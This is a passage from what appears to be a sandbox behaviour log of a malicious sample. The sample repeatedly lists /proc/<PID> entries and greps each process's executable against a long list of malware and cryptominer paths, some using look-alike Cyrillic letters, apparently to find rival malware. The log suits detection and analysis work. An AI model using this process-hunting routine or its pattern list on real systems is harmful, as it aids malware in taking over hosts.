  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:827
- /bin/grep
  grep exe
  2⤵
  PID:831
- /bin/ls
  ls -latrh /proc/2
  2⤵
  PID:830
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:834
- /bin/grep
  grep exe
  2⤵
  PID:838
- /bin/ls
  ls -latrh /proc/20
  2⤵
  PID:837
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:840
- /bin/grep
  grep exe
  2⤵
  PID:844
- /bin/ls
  ls -latrh /proc/21
  2⤵
  PID:843
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:847
- /bin/ls
  ls -latrh /proc/22
  2⤵
  PID:850
- /bin/grep
  grep exe
  2⤵
  PID:851
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:854
- /bin/grep
  grep exe
  2⤵
  PID:858
- /bin/ls
  ls -latrh /proc/224
  2⤵
  PID:857
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:863
- /bin/grep
  grep exe
  2⤵
  PID:867
- /bin/ls
  ls -latrh /proc/23
  2⤵
  PID:866
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:871
- /bin/ls
  ls -latrh /proc/24
  2⤵
  PID:876
- /bin/grep
  grep exe
  2⤵
  PID:877
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:879
- /bin/grep
  grep exe
  2⤵
  PID:883
- /bin/ls
  ls -latrh /proc/25
  2⤵
  PID:882
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:886
- /bin/grep
  grep exe
  2⤵
  PID:890
- /bin/ls
  ls -latrh /proc/26
  2⤵
  PID:889
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:894
- /bin/ls
  ls -latrh /proc/27
  2⤵
  PID:896
- /bin/grep
  grep exe
  2⤵
  PID:897
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:900
- /bin/ls
  ls -latrh /proc/277
  2⤵
  PID:902
- /bin/grep
  grep exe
  2⤵
  PID:903
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:906
- /bin/ls
  ls -latrh /proc/278
  2⤵
  PID:908
- /bin/grep
  grep exe
  2⤵
  PID:909
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:911
- /bin/grep
  grep exe
  2⤵
  PID:914
- /bin/ls
  ls -latrh /proc/279
  2⤵
  PID:913
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:916
- /bin/grep
  grep exe
  2⤵
  PID:919
- /bin/ls
  ls -latrh /proc/28
  2⤵
  PID:918
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:921
- /bin/grep
  grep exe
  2⤵
  PID:924
- /bin/ls
  ls -latrh /proc/281
  2⤵
  PID:923
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:926
- /bin/grep
  grep exe
  2⤵
  PID:929
- /bin/ls
  ls -latrh /proc/29
  2⤵
  PID:928
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:931
- /bin/grep
  grep exe
  2⤵
  PID:934
- /bin/ls
  ls -latrh /proc/292
  2⤵
  PID:933
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:936
- /bin/grep
  grep exe
  2⤵
  PID:939
- /bin/ls
  ls -latrh /proc/3
  2⤵
  PID:938
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:941
- /bin/grep
  grep exe
  2⤵
  PID:944
- /bin/ls
  ls -latrh /proc/308
  2⤵
  PID:943
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:946
- /bin/grep
  grep exe
  2⤵
  PID:950
- /bin/ls
  ls -latrh /proc/310
  2⤵
  PID:949
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:953
- /bin/grep
  grep exe
  2⤵
  PID:957
- /bin/ls
  ls -latrh /proc/320
  2⤵
  PID:956
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:960
- /bin/ls
  ls -latrh /proc/324
  2⤵
  PID:962
- /bin/grep
  grep exe
  2⤵
  PID:963
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:966
- /bin/grep
  grep exe
  2⤵
  PID:970
- /bin/ls
  ls -latrh /proc/4
  2⤵
  PID:969
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:974
- /bin/ls
  ls -latrh /proc/41
  2⤵
  PID:976
- /bin/grep
  grep exe
  2⤵
  PID:977
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:980
- /bin/grep
  grep exe
  2⤵
  PID:984
- /bin/ls
  ls -latrh /proc/42
  2⤵
  PID:983
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:987
- /bin/grep
  grep exe
  2⤵
  PID:991
- /bin/ls
  ls -latrh /proc/43
  2⤵
  PID:990
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:995
- /bin/grep
  grep exe
  2⤵
  PID:1000
- /bin/ls
  ls -latrh /proc/5
  2⤵
  PID:999
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1002
- /bin/grep
  grep exe
  2⤵
  PID:1006
- /bin/ls
  ls -latrh /proc/581
  2⤵
  PID:1005
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1009
- /bin/grep
  grep exe
  2⤵
  PID:1012
- /bin/ls
  ls -latrh /proc/596
  2⤵
  PID:1011
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1016
- /bin/ls
  ls -latrh /proc/599
  2⤵
  PID:1018
- /bin/grep
  grep exe
  2⤵
  PID:1019
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1022
- /bin/grep
  grep exe
  2⤵
  PID:1026
- /bin/ls
  ls -latrh /proc/6
  2⤵
  PID:1025
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1029
- /bin/grep
  grep exe
  2⤵
  PID:1033
- /bin/ls
  ls -latrh /proc/601
  2⤵
  PID:1032
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1036
- /bin/ls
  ls -latrh /proc/602
  2⤵
  PID:1039
- /bin/grep
  grep exe
  2⤵
  PID:1040
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1042
- /bin/grep
  grep exe
  2⤵
  PID:1046
- /bin/ls
  ls -latrh /proc/641
  2⤵
  PID:1045
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1049
- /bin/grep
  grep exe
  2⤵
  PID:1053
